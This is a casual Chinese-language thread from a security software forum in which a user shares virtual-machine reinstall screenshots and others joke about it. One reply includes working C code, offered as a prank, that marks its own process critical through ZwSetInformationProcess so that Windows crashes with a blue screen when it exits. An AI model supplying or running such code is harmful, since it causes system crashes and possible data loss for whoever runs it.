瑞星卡卡安全论坛

:kaka16: 今天玩虚拟机，玩重装，还真好玩

截图


 附件: 您所在的用户组无法下载或查看附件



 附件: 您所在的用户组无法下载或查看附件


 附件: 您所在的用户组无法下载或查看附件


 附件: 您所在的用户组无法下载或查看附件


 附件: 您所在的用户组无法下载或查看附件


 附件: 您所在的用户组无法下载或查看附件


 附件: 您所在的用户组无法下载或查看附件

 附件: 您所在的用户组无法下载或查看附件


 附件: 您所在的用户组无法下载或查看附件


的确很好玩，无聊的时候用来testBD都不错




 附件: 您所在的用户组无法下载或查看附件  字数够了！~~~~完毕

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; QQDownload 615; QQPinyin 722; msn OptimizedIE8;ZHCN; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; TheWorld)

好流水账....:kaka6:

该用户帖子内容已被屏蔽

:kaka12: 我说过写流水账是我强项

一天一篇 不急....

:kaka12: 反正我还有3000张还没发呢

几个虚拟机阿 又xp又Vista 的  电脑不错么 :kaka6:

送楼主一个BSOD的小程序，呵呵

#include <windows.h>

BOOL DebugPrivilege(TCHAR *PName,BOOL bEnable)
{
    BOOL              fOk = FALSE;
    HANDLE            hToken;
    TOKEN_PRIVILEGES  tp;
   
    if(OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&hToken))
    {       
        tp.PrivilegeCount          = 1;
        tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
        LookupPrivilegeValue(NULL,PName,&tp.Privileges[0].Luid);
        AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
        fOk=(GetLastError() == ERROR_SUCCESS);       
        CloseHandle(hToken);
    }
    return fOk;
}

typedef long (WINAPI* PZwSetInformationProcess)(HANDLE,int,PVOID,ULONG);

int main(int argc, char* argv[])
{
    DebugPrivilege(SE_DEBUG_NAME,TRUE);
    HINSTANCE hNtdll = GetModuleHandle(_T("ntdll.dll"));
    PZwSetInformationProcess ZwSetInformationProcess =
        (PZwSetInformationProcess)GetProcAddress(hNtdll,"ZwSetInformationProcess");
    int nFlag = 1;
    ZwSetInformationProcess((HANDLE)-1,29,&nFlag,4);

    return 0;
}

字数不够
图太多
你见过日记画图吗............

:kaka6: 不懂

这个真的可以蓝屏

:kaka12: 有啊

工程师的头像好猥琐

相当的流水账，验证完毕:kaka1: 闪

楼主辛苦了